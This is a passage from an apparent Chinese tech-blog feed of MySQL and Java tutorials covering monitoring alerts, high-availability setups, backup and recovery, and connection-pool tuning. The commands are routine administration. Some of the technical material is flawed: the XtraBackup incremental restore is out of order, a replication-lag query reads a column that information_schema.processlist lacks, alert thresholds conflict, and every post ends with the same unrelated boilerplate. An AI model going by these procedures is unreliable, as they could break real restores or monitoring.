      - alert: MySQLHighConnections
        expr: mysql_global_status_threads_connected / mysql_global_variables_max_connections > 0.8
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "MySQL连接数超过80%"
          
      - alert: MySQLSlowQueries
        expr: rate(mysql_global_status_slow_queries[5m]) > 1
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "MySQL慢查询增长"
          
      - alert: MySQLReplicationLag
        expr: mysql_slave_lag_seconds > 10
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "MySQL复制延迟超过10秒"
          
      - alert: MySQLBufferPoolHitRatio
        expr: rate(mysql_global_status_innodb_buffer_pool_reads[5m]) / rate(mysql_global_status_innodb_buffer_pool_read_requests[5m]) > 0.01
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "Buffer Pool命中率低于99%"

六、慢查询监控

#

6.1 实时慢查询分析

-- 查看当前执行时间超过10秒的查询
SELECT 
    THREAD_ID,
    PROCESSLIST_ID,
    PROCESSLIST_USER,
    PROCESSLIST_HOST,
    PROCESSLIST_DB,
    PROCESSLIST_TIME,
    PROCESSLIST_INFO
FROM performance_schema.threads
WHERE PROCESSLIST_COMMAND = 'Query'
    AND PROCESSLIST_TIME > 10
ORDER BY PROCESSLIST_TIME DESC;

#

6.2 pt-kill自动杀慢查询

# 杀掉执行超过60秒的SELECT
pt-kill --host=localhost --user=root --password=password \
    --match-command='Query' \
    --match-state='Sending data|Copying to tmp table' \
    --busy-time=60 \
    --victims=all \
    --interval=10 \
    --kill \
    --print

七、容量规划

#

7.1 数据增长趋势

-- 查看数据库大小
SELECT 
    table_schema,
    ROUND(SUM(data_length + index_length) / 1024 / 1024 / 1024, 2) AS size_gb
FROM information_schema.tables
GROUP BY table_schema
ORDER BY size_gb DESC;

-- 查看表大小
SELECT 
    table_name,
    ROUND(data_length / 1024 / 1024, 2) AS data_mb,
    ROUND(index_length / 1024 / 1024, 2) AS index_mb,
    table_rows
FROM information_schema.tables
WHERE table_schema = 'mydb'
ORDER BY (data_length + index_length) DESC
LIMIT 20;

#

7.2 QPS增长趋势

使用Prometheus查询：

# QPS趋势
rate(mysql_global_status_queries[1m])

# 连接数趋势
mysql_global_status_threads_connected

# 磁盘使用趋势
mysql_global_status_innodb_data_written

八、监控检查清单

#

8.1 每日检查

  • 复制延迟是否正常
  • 慢查询数量是否增长
  • 连接数是否在正常范围
  • 是否有死锁发生

#

8.2 每周检查

  • Buffer Pool命中率
  • 表空间增长情况
  • 索引使用情况
  • 备份状态

#

8.3 每月检查

  • 容量规划（数据增长趋势）
  • 全量SQL审核
  • 性能基准对比
  • 监控告警规则 review

九、总结

指标类别关键指标告警阈值
可用性mysql_up= 0
连接Threads_connected/max_connections> 80%
复制Seconds_Behind_Master> 10秒
查询Slow_queries增长率突增
缓冲Buffer Pool命中率< 95%
锁Innodb_row_lock_waits持续增加
磁盘磁盘使用率> 80%

监控的核心价值：

  1. 及时发现问题，缩短故障时间
  2. 掌握性能趋势，提前容量规划
  3. 量化优化效果，指导调优方向
  4. 提供数据支撑，辅助决策判断

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA MySQL高可用架构方案 //mysql-high-availability-architecture/ MySQL高可用架构方案

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、高可用目标

#

1.1 衡量指标

指标说明优秀标准
可用性系统可用时间占比99.99%（全年停机<1小时）
RTO恢复时间目标< 30秒
RPO恢复点目标0（不丢数据）

#

1.2 可用性等级

等级可用性年停机时间
2个999%87.6小时
3个999.9%8.76小时
4个999.99%52.56分钟
5个999.999%5.26分钟

二、主从复制架构

#

2.1 一主一从

┌─────────┐      复制      ┌─────────┐
│  Master │  ──────────>  │  Slave  │
│  (读写)  │               │  (只读)  │
└─────────┘               └─────────┘

特点：

  • 手动切换
  • 主库故障时，提升从库为主库
  • 适合读多写少，对RTO要求不高

#

2.2 一主多从

         ┌──────────> ┌─────────┐
┌────────┐            │ Slave 1 │
│ Master │ ──────────>├─────────┤
└────────┘            │ Slave 2 │
         └──────────> │ Slave 3 │
                      └─────────┘

特点：

  • 读扩展能力强
  • 可专门分离出备份从库、报表从库
  • 延迟问题需要关注

#

2.3 级联复制

Master ──> Slave1 ──> Slave2
  │
  └────> Slave3

适用：

  • 从库数量很多时，减轻主库压力
  • 跨地域复制

三、高可用方案对比

#

3.1 方案总览

方案自动切换数据一致性复杂度适用规模
主从+手动否异步可能丢低小型
MHA是异步可能丢中中型
MGR是强一致中中型
Orchestrator是异步可能丢中大型
MySQL Cluster是强一致高大型
云数据库是配置决定低各种规模

四、MHA（Master High Availability）

#

4.1 架构

┌─────────┐
│ Manager │  ← 监控和故障切换
└────┬────┘
     │
     ├──> Master（写）
     ├──> Slave1（读）
     ├──> Slave2（读）
     └──> Slave3（读/候选主库）

#

4.2 故障切换流程

  1. Manager检测到Master不可达
  2. 尝试SSH到Master，确认是否真的故障（避免网络抖动）
  3. 选择最新的Slave作为新Master
  4. 从其他Slave应用差异的binlog
  5. 提升新Master
  6. 其他Slave重新指向新Master
  7. 发送告警

#

4.3 MHA配置

# 安装MHA
yum install mha4mysql-manager mha4mysql-node

# Manager配置
cat /etc/mha/app1.cnf
[server default]
user=mha
password=password
ssh_user=root
repl_user=repl
repl_password=password
ping_interval=1
master_ip_failover_script=/usr/local/bin/master_ip_failover
master_ip_online_change_script=/usr/local/bin/master_ip_online_change

[server1]
hostname=192.168.1.10
candidate_master=1

[server2]
hostname=192.168.1.11
candidate_master=1

[server3]
hostname=192.168.1.12
no_master=1

#

4.4 VIP漂移

使用Keepalived或脚本实现VIP自动漂移：

#!/bin/bash
# master_ip_failover

vip="192.168.1.100"
new_master="$1"

# 在新主库添加VIP
ssh $new_master "ip addr add $vip/24 dev eth0"

# 在旧主库移除VIP（如果可达）
ssh -o ConnectTimeout=3 $old_master "ip addr del $vip/24 dev eth0" 2>/dev/null

五、MGR（MySQL Group Replication）

#

5.1 架构

     ┌──────────┐
     │  Primary  │ ← 单主模式（默认）
     │  (读写)   │
     └────┬─────┘
          │  Paxos协议
    ┌─────┼─────┐
    ▼     ▼     ▼
┌─────┐┌─────┐┌─────┐
│Secondary│Secondary│Secondary│
│ (只读)  │ (只读)  │ (只读)  │
└─────┘└─────┘└─────┘

#

5.2 特点

  • 基于Paxos协议，多数派确认
  • 自动故障检测和切换
  • 数据强一致性（不会丢数据）
  • 支持单主和多主模式

#

5.3 MGR配置

# 每个节点配置
[mysqld]
server_id = 1
gtid_mode = ON
enforce_gtid_consistency = ON
binlog_format = ROW
log_slave_updates = ON

# MGR插件
plugin_load_add = group_replication.so
transaction_write_set_extraction = XXHASH64
group_replication_group_name = "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
group_replication_start_on_boot = off
group_replication_local_address = "192.168.1.10:33061"
group_replication_group_seeds = "192.168.1.10:33061,192.168.1.11:33061,192.168.1.12:33061"
group_replication_bootstrap_group = off

# 单主模式
group_replication_single_primary_mode = ON
group_replication_enforce_update_everywhere_checks = OFF

#

5.4 启动MGR

-- 第一个节点（引导组）
SET GLOBAL group_replication_bootstrap_group = ON;
START GROUP_REPLICATION;
SET GLOBAL group_replication_bootstrap_group = OFF;

-- 其他节点加入
START GROUP_REPLICATION;

-- 查看组成员
SELECT * FROM performance_schema.replication_group_members;

-- 查看主节点
SELECT * FROM performance_schema.global_status 
WHERE variable_name = 'group_replication_primary_member';

#

5.5 MGR限制

  • 仅支持InnoDB表
  • 表必须有主键
  • 不支持外键的级联操作
  • 最大节点数：9个
  • 网络要求高（低延迟）

六、Orchestrator

#

6.1 特点

  • GitHub开源的MySQL高可用工具
  • 可视化拓扑管理
  • 支持自动和手动故障转移
  • 支持预检查，降低误切换

#

6.2 架构

┌─────────────┐
│ Orchestrator │ ← Web UI + API
│   (RAFT)    │
└──────┬──────┘
       │
  ┌────┴────┐
  ▼         ▼
Master    Slave

#

6.3 核心功能

  • 自动发现：自动发现MySQL拓扑
  • 可视化：Web界面展示复制拓扑
  • 故障转移：支持自动和手动
  • 钩子：支持自定义脚本（切换后执行）

七、ProxySQL读写分离

#

7.1 架构

App ──> ProxySQL ──> Master（写）
            │
            ├──> Slave1（读）
            ├──> Slave2（读）
            └──> Slave3（读）

#

7.2 配置

-- 添加后端服务器
INSERT INTO mysql_servers(hostgroup_id, hostname, port) 
VALUES 
(10, 'master', 3306),  -- 写组
(20, 'slave1', 3306),  -- 读组
(20, 'slave2', 3306),
(20, 'slave3', 3306);

-- 配置读写规则
INSERT INTO mysql_query_rules (rule_id, active, match_pattern, 
    destination_hostgroup, apply) 
VALUES 
(1, 1, '^SELECT.*FOR UPDATE', 10, 1),
(2, 1, '^SELECT', 20, 1),
(3, 1, '.*', 10, 1);

-- 加载配置
LOAD MYSQL SERVERS TO RUNTIME;
LOAD MYSQL QUERY RULES TO RUNTIME;
SAVE MYSQL SERVERS TO DISK;
SAVE MYSQL QUERY RULES TO DISK;

八、云数据库高可用

#

8.1 阿里云RDS

版本架构RTO
基础版单节点数分钟
高可用版主从 + 自动切换30秒内
集群版一主多从30秒内
三节点版MGR-like30秒内

#

8.2 腾讯云CDB

  • 自动故障切换
  • 支持跨可用区部署
  • 只读实例自动扩展

九、故障切换实践

#

9.1 切换前检查

-- 1. 检查复制延迟
SHOW SLAVE STATUS \G;
-- Seconds_Behind_Master = 0

-- 2. 检查数据一致性
pt-table-checksum --host=master --host=slave

-- 3. 检查从库状态
SHOW PROCESSLIST;
-- 确保没有长时间查询

#

9.2 切换步骤

# 1. 暂停应用写入（或切到只读）

# 2. 确认主从数据一致

# 3. 停止从库复制
STOP SLAVE;

# 4. 重置从库（变为独立库）
RESET SLAVE ALL;

# 5. 开启新主库读写
SET GLOBAL read_only = OFF;

# 6. 应用指向新主库

# 7. 旧主库修复后作为从库加入
CHANGE MASTER TO ...
START SLAVE;

#

9.3 切换后验证

-- 验证新主库
SHOW MASTER STATUS;
SHOW PROCESSLIST;

-- 验证从库连接
SHOW SLAVE STATUS \G;
-- Slave_IO_Running: Yes
-- Slave_SQL_Running: Yes
-- Seconds_Behind_Master: 0

十、高可用设计建议

#

10.1 架构选型

场景推荐方案
创业公司/小团队云数据库
中小规模MHA + Keepalived
中等规模MGR（单主）
大规模Orchestrator + ProxySQL
金融级MGR + 多副本

#

10.2 监控告警

-- 复制延迟监控
SELECT 
    MAX(Seconds_Behind_Master) AS max_delay
FROM information_schema.processlist
WHERE command = 'Binlog Dump';

-- 告警：delay > 10秒

#

10.3 灾备设计

同城双中心：
  中心A（主）      中心B（备）
  ┌──────┐        ┌──────┐
  │Master│───────>│Slave │
  └──────┘  同步   └──────┘

异地灾备：
  中心A ──> 中心B（同城）──> 中心C（异地）
  同步/半同步    异步复制

十一、总结

方案自动切换一致性复杂度推荐
主从手动否异步低不推荐生产
MHA是异步中传统方案
MGR是强一致中推荐
Orchestrator是异步中大规模推荐
云数据库是可选低快速上线

高可用设计的核心原则：

  1. 自动故障检测和切换
  2. 数据一致性优先
  3. 完善的监控和告警
  4. 定期的故障演练
  5. 文档化操作流程

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL 架构 MySQL 数据库 Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA MySQL备份与恢复策略 //mysql-backup-recovery-strategy/ MySQL备份与恢复策略

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、备份类型

#

1.1 按备份方式

类型说明工具
逻辑备份导出SQL语句mysqldump, mydumper
物理备份复制数据文件XtraBackup, mysqlbackup

#

1.2 按备份范围

类型说明适用场景
全量备份备份所有数据基础备份
增量备份备份变化的数据减少备份时间和空间
差异备份备份自上次全备以来的变化平衡全备和增备

#

1.3 按备份状态

类型说明特点
热备不停止服务对业务影响小，需要工具支持
温备只读备份影响写入
冷备停止服务最简单，影响最大

二、mysqldump逻辑备份

#

2.1 基本用法

# 备份单个数据库
mysqldump -u root -p mydb > mydb.sql

# 备份多个数据库
mysqldump -u root -p --databases db1 db2 > databases.sql

# 备份所有数据库
mysqldump -u root -p --all-databases > all_databases.sql

# 备份指定表
mysqldump -u root -p mydb table1 table2 > tables.sql

#

2.2 常用参数

mysqldump -u root -p \
    --single-transaction \    # 开启事务，保证一致性（InnoDB）
    --master-data=2 \        # 记录binlog位置（用于主从复制）
    --triggers \             # 导出触发器
    --routines \             # 导出存储过程和函数
    --events \               # 导出定时事件
    --databases mydb > mydb.sql

#

2.3 压缩备份

# 直接压缩
mysqldump -u root -p mydb | gzip > mydb.sql.gz

# 解压恢复
gunzip < mydb.sql.gz | mysql -u root -p mydb

#

2.4 恢复

# 恢复数据库
mysql -u root -p mydb < mydb.sql

# 恢复所有数据库
mysql -u root -p < all_databases.sql

# 大文件恢复（显示进度）
pv mydb.sql | mysql -u root -p mydb

三、XtraBackup物理备份

#

3.1 为什么选择XtraBackup

特性mysqldumpXtraBackup
备份速度慢（逐行导出）快（文件复制）
恢复速度慢（逐行插入）快（文件复制）
对业务影响大（锁表或长事务）小（热备份）
文件大小大（文本SQL）小（数据文件）
使用场景小库、部分表大库、全库

#

3.2 安装

# CentOS/RHEL
yum install percona-xtrabackup-80

# Ubuntu/Debian
apt-get install percona-xtrabackup-80

#

3.3 全量备份

# 全量备份
xtrabackup --backup \
    --target-dir=/backup/full/$(date +%Y%m%d) \
    --user=root --password=password

# 备份过程输出：
# 1. 复制InnoDB数据文件（不锁表）
# 2. 执行LOCK TABLES FOR BACKUP（短暂锁）
# 3. 复制非InnoDB文件
# 4. 获取binlog位置
# 5. 释放锁

#

3.4 准备备份（Prepare）

# 准备备份（应用redo log，使备份一致）
xtrabackup --prepare --target-dir=/backup/full/20240728

# 可多次准备，不会破坏备份

#

3.5 增量备份

# 基于全备的增量备份
xtrabackup --backup \
    --target-dir=/backup/inc1 \
    --incremental-basedir=/backup/full/20240728 \
    --user=root --password=password

# 第二次增量备份
xtrabackup --backup \
    --target-dir=/backup/inc2 \
    --incremental-basedir=/backup/inc1 \
    --user=root --password=password

#

3.6 恢复

# 1. 停止MySQL
systemctl stop mysqld

# 2. 清理数据目录
mv /var/lib/mysql /var/lib/mysql_bak
mkdir /var/lib/mysql

# 3. 恢复全备
xtrabackup --copy-back --target-dir=/backup/full/20240728

# 4. 应用增量备份（如果有）
xtrabackup --prepare \
    --target-dir=/backup/full/20240728 \
    --incremental-dir=/backup/inc1

xtrabackup --prepare \
    --target-dir=/backup/full/20240728 \
    --incremental-dir=/backup/inc2

# 5. 修改权限
chown -R mysql:mysql /var/lib/mysql

# 6. 启动MySQL
systemctl start mysqld

四、备份策略设计

#

4.1 3-2-1备份原则

  • 3份数据副本
  • 2种不同存储介质
  • 1份异地备份

#

4.2 备份周期设计

备份类型频率保留时间
全量备份每周一次1个月
增量备份每天一次1周
binlog备份实时7-14天

#

4.3 自动化备份脚本

#!/bin/bash
# backup.sh

BACKUP_DIR="/backup/mysql"
DATE=$(date +%Y%m%d)
WEEK_DAY=$(date +%u)
MYSQL_USER="backup"
MYSQL_PASS="password"

# 周日全量，其他增量
if [ "$WEEK_DAY" -eq 7 ]; then
    # 全量备份
    BACKUP_TYPE="full"
    TARGET_DIR="$BACKUP_DIR/full/$DATE"
    mkdir -p $TARGET_DIR
    
    xtrabackup --backup \
        --target-dir=$TARGET_DIR \
        --user=$MYSQL_USER --password=$MYSQL_PASS \
        2>$TARGET_DIR/backup.log
    
    # 记录全备位置
    echo $TARGET_DIR > $BACKUP_DIR/last_full.txt
else
    # 增量备份
    BACKUP_TYPE="incremental"
    TARGET_DIR="$BACKUP_DIR/inc/$DATE"
    mkdir -p $TARGET_DIR
    
    FULL_DIR=$(cat $BACKUP_DIR/last_full.txt)
    
    # 确定增量基准
    if [ "$WEEK_DAY" -eq 1 ]; then
        BASE_DIR=$FULL_DIR
    else
        BASE_DIR=$(ls -td $BACKUP_DIR/inc/*/ | head -1)
    fi
    
    xtrabackup --backup \
        --target-dir=$TARGET_DIR \
        --incremental-basedir=$BASE_DIR \
        --user=$MYSQL_USER --password=$MYSQL_PASS \
        2>$TARGET_DIR/backup.log
fi

# 压缩备份
tar czf $TARGET_DIR.tar.gz -C $(dirname $TARGET_DIR) $(basename $TARGET_DIR)
rm -rf $TARGET_DIR

# 上传OSS
aliyun oss cp $TARGET_DIR.tar.gz oss://mybucket/mysql-backup/

# 清理旧备份
find $BACKUP_DIR -name "*.tar.gz" -mtime +30 -delete

echo "备份完成: $TARGET_DIR.tar.gz"

五、基于binlog的时点恢复

#

5.1 为什么需要binlog恢复

全量备份只能恢复到备份时刻。binlog记录了备份后的所有变更，可以实现任意时间点的恢复。

#

5.2 备份binlog

# 实时备份binlog到远程服务器
mysqlbinlog --read-from-remote-server \
    --host=master --user=repl --password=password \
    --raw --stop-never mysql-bin.000001 &

#

5.3 恢复流程

# 场景：误删表，需要恢复到删除前

# 1. 找到删除操作的位置
mysqlbinlog --start-datetime='2024-07-28 10:00:00' \
    --stop-datetime='2024-07-28 12:00:00' \
    /var/lib/mysql/mysql-bin.000005 | grep -i "DROP TABLE"

# 输出：
# at 1234567
# DROP TABLE `important_table`

# 2. 恢复全备
xtrabackup --copy-back --target-dir=/backup/full/20240728

# 3. 应用binlog到删除前
mysqlbinlog --start-position=4 \
    --stop-position=1234567 \
    /var/lib/mysql/mysql-bin.000005 | mysql -u root -p

# 4. 应用后续binlog（跳过删除操作）
mysqlbinlog --start-position=1234580 \
    /var/lib/mysql/mysql-bin.000005 | mysql -u root -p

#

5.4 基于时间恢复

# 恢复到指定时间点
mysqlbinlog --start-datetime='2024-07-28 00:00:00' \
    --stop-datetime='2024-07-28 10:30:00' \
    mysql-bin.000001 mysql-bin.000002 | mysql -u root -p

六、mydumper多线程备份

#

6.1 安装

# 编译安装
git clone https://github.com/mydumper/mydumper.git
cd mydumper
cmake .
make && make install

#

6.2 备份

# 多线程备份（比mysqldump快数倍）
mydumper -u root -p password \
    -B mydb \
    -o /backup/mydumper/$(date +%Y%m%d) \
    -t 4 \              # 4个线程
    -c \                # 压缩
    -G \                # 导出触发器、存储过程等
    -E \                # 导出事件
    -R                  # 导出路由

#

6.3 恢复

# 多线程恢复
myloader -u root -p password \
    -d /backup/mydumper/20240728 \
    -t 4 \              # 4个线程
    -B mydb             # 恢复到指定数据库

七、备份验证

#

7.1 定期恢复演练

# 自动化恢复验证脚本
#!/bin/bash

FULL_BACKUP="/backup/full/latest"
TEST_DIR="/var/lib/mysql_test"

# 1. 准备备份
xtrabackup --prepare --target-dir=$FULL_BACKUP

# 2. 恢复到测试目录
rm -rf $TEST_DIR
mkdir $TEST_DIR
xtrabackup --copy-back --target-dir=$FULL_BACKUP --datadir=$TEST_DIR

# 3. 启动测试MySQL
mysqld --datadir=$TEST_DIR --port=3307 --socket=/tmp/mysql_test.sock &

# 4. 验证数据完整性
mysql -S /tmp/mysql_test.sock -e "CHECKSUM TABLE mydb.important_table"

# 5. 关闭测试实例
mysqladmin -S /tmp/mysql_test.sock shutdown

echo "备份验证完成"

#

7.2 监控备份状态

# 检查备份文件大小
BACKUP_SIZE=$(du -sm /backup/full/latest | awk '{print $1}')
if [ $BACKUP_SIZE -lt 100 ]; then
    echo "备份文件异常小，可能备份失败" | mail -s "备份告警" dba@company.com
fi

# 检查备份日志
if grep -q "completed OK" /backup/full/latest/backup.log; then
    echo "备份成功"
else
    echo "备份失败" | mail -s "备份告警" dba@company.com
fi

八、云数据库备份

#

8.1 阿里云RDS

  • 自动全量备份（每天）
  • 自动增量备份（binlog，5分钟）
  • 支持恢复到任意时间点
  • 支持跨地域备份

#

8.2 腾讯云CDB

  • 自动备份策略可配置
  • 支持物理备份和逻辑备份
  • 支持备份下载

九、灾难恢复计划

#

9.1 RPO和RTO

指标说明目标
RPO恢复点目标，可接受的数据丢失量< 5分钟
RTO恢复时间目标，业务恢复所需时间< 30分钟

#

9.2 恢复流程

灾难发生
    │
    ├── 评估损失范围
    │       ├── 数据损坏 → 从备份恢复
    │       └── 硬件故障 → 切换到备库
    │
    ├── 确定恢复时间点
    │       └── 根据RPO选择binlog恢复点
    │
    ├── 执行恢复
    │       ├── 恢复全备
    │       ├── 应用增量备
    │       └── 应用binlog
    │
    ├── 验证数据完整性
    │       └── 关键表校验
    │
    └── 切换业务流量

十、总结

备份方式适用场景优点缺点
mysqldump小库、部分表、迁移简单、可读慢、大
XtraBackup大库、生产环境快、热备需要安装
mydumper大库并行备份多线程快需安装
binlog时点恢复精确恢复依赖全备
备份策略频率保留
全量备份每周1月
增量备份每天1周
binlog实时2周

备份的核心原则：

  1. 定期备份，自动化执行
  2. 备份加密，安全存储
  3. 异地容灾，防止单点
  4. 定期演练，验证可用
  5. 监控告警，及时发现问题

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA MySQL连接池配置与优化 //mysql-connection-pool-optimization/ MySQL连接池配置与优化

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、为什么需要连接池

#

1.1 数据库连接的成本

创建数据库连接是高成本操作：

创建连接的步骤：
1. TCP三次握手（1.5 RTT）
2. MySQL握手认证
3. 权限验证
4. 初始化连接资源和缓冲区

总耗时：约几十到几百毫秒

#

1.2 连接池的作用

  • 复用连接：避免频繁创建和关闭连接
  • 控制并发：限制同时访问数据库的连接数
  • 快速响应：从池获取连接是微秒级
  • 连接管理：自动检测和恢复无效连接

二、连接池原理

#

2.1 连接池的工作流程

应用请求连接
    │
    ├── 空闲连接？───是──→ 返回连接
    │       │
    │      否
    │       │
    ├── 连接数 < 最大连接数？───是──→ 创建新连接
    │       │
    │      否
    │       │
    └── 等待（或报错）

归还连接
    │
    ├── 连接有效？───是──→ 放回空闲池
    │       │
    │      否
    │       │
    └── 关闭连接

#

2.2 连接池核心参数

参数说明
最小连接数（minIdle）连接池保持的最小空闲连接
最大连接数（maxActive/maxPoolSize）连接池允许的最大连接数
连接超时（connectionTimeout）获取连接的最大等待时间
空闲检测（idleTimeout）空闲连接回收时间
最大生命周期（maxLifetime）连接的最大存活时间

三、主流连接池对比

#

3.1 HikariCP

性能最好的连接池，SpringBoot 2.0+ 默认。

<dependency>
    <groupId>com.zaxxer</groupId>
    <artifactId>HikariCP</artifactId>
    <version>5.1.0</version>
</dependency>
HikariConfig config = new HikariConfig();
config.setJdbcUrl("jdbc:mysql://localhost:3306/mydb");
config.setUsername("root");
config.setPassword("password");
config.setMaximumPoolSize(20);
config.setMinimumIdle(5);
config.setConnectionTimeout(30000);
config.setIdleTimeout(600000);
config.setMaxLifetime(1800000);
config.addDataSourceProperty("cachePrepStmts", "true");
config.addDataSourceProperty("prepStmtCacheSize", "250");
config.addDataSourceProperty("prepStmtCacheSqlLimit", "2048");

HikariDataSource dataSource = new HikariDataSource(config);

特点：

  • 性能极高（比其他连接池快数倍）
  • 代码精简，功能专注
  • 无额外监控功能

#

3.2 Druid

阿里巴巴开源，功能全面。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>druid-spring-boot-starter</artifactId>
    <version>1.2.20</version>
</dependency>
spring:
  datasource:
    type: com.alibaba.druid.pool.DruidDataSource
    druid:
      url: jdbc:mysql://localhost:3306/mydb
      username: root
      password: password
      initial-size: 5
      min-idle: 5
      max-active: 20
      max-wait: 60000
      time-between-eviction-runs-millis: 60000
      min-evictable-idle-time-millis: 300000
      max-evictable-idle-time-millis: 900000
      validation-query: SELECT 1
      test-while-idle: true
      test-on-borrow: false
      test-on-return: false
      pool-prepared-statements: true
      max-pool-prepared-statement-per-connection-size: 20
      filters: stat,wall,slf4j
      connection-properties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000
      stat-view-servlet:
        enabled: true
        login-username: admin
        login-password: admin

特点：

  • 内置监控页面
  • SQL防注入（WallFilter）
  • SQL性能监控
  • 扩展功能丰富

#

3.3 连接池性能对比

连接池性能功能监控推荐场景
HikariCP★★★基础无追求极致性能
Druid★★☆丰富内置需要监控和SQL防护
C3P0★☆☆一般无老项目维护
DBCP2★★☆基础无Apache生态

四、连接池参数配置

#

4.1 连接数计算

最大连接数公式：

连接数 = ((核心数 × 2) + 有效磁盘数) × 单服务器分片数

简化估算：
- 4核服务器：8-16连接
- 8核服务器：16-32连接
- 16核服务器：32-64连接

MySQL服务端最大连接数：

SHOW VARIABLES LIKE 'max_connections';
-- 默认151，生产建议500-2000

#

4.2 应用连接池配置

假设应用部署8台机器，MySQL服务端max_connections=500：

每台应用的最大连接数 = 500 / 8 ≈ 60
考虑冗余：每台配置 maxPoolSize = 50

#

4.3 HikariCP推荐配置

# 核心参数
spring.datasource.hikari.maximum-pool-size=20
spring.datasource.hikari.minimum-idle=5
spring.datasource.hikari.connection-timeout=30000
spring.datasource.hikari.idle-timeout=600000
spring.datasource.hikari.max-lifetime=1800000

# 连接测试
spring.datasource.hikari.connection-test-query=SELECT 1

# MySQL优化
spring.datasource.hikari.data-source-properties.cachePrepStmts=true
spring.datasource.hikari.data-source-properties.prepStmtCacheSize=250
spring.datasource.hikari.data-source-properties.prepStmtCacheSqlLimit=2048
spring.datasource.hikari.data-source-properties.useServerPrepStmts=true
spring.datasource.hikari.data-source-properties.useLocalSessionState=true
spring.datasource.hikari.data-source-properties.rewriteBatchedStatements=true
spring.datasource.hikari.data-source-properties.cacheResultSetMetadata=true
spring.datasource.hikari.data-source-properties.cacheServerConfiguration=true
spring.datasource.hikari.data-source-properties.elideSetAutoCommits=true
spring.datasource.hikari.data-source-properties.maintainTimeStats=false

#

4.4 参数详解

参数推荐值说明
maximumPoolSize10-30最大连接数
minimumIdle5-10最小空闲连接
connectionTimeout30000获取连接等待30秒
idleTimeout600000空闲10分钟回收
maxLifetime1800000连接最大存活30分钟
leakDetectionThreshold60000连接泄漏检测60秒

maxLifetime注意：

  • 应小于MySQL的wait_timeout
  • MySQL默认wait_timeout=28800（8小时）
  • 连接池maxLifetime应比数据库端短一些

五、MySQL连接相关参数

#

5.1 服务端参数

[mysqld]
# 最大连接数
max_connections = 500

# 每个连接缓冲区
sort_buffer_size = 2M
read_buffer_size = 1M
join_buffer_size = 2M
read_rnd_buffer_size = 2M

# 连接超时
wait_timeout = 28800          # 非交互连接空闲超时（秒）
interactive_timeout = 28800   # 交互连接空闲超时（秒）

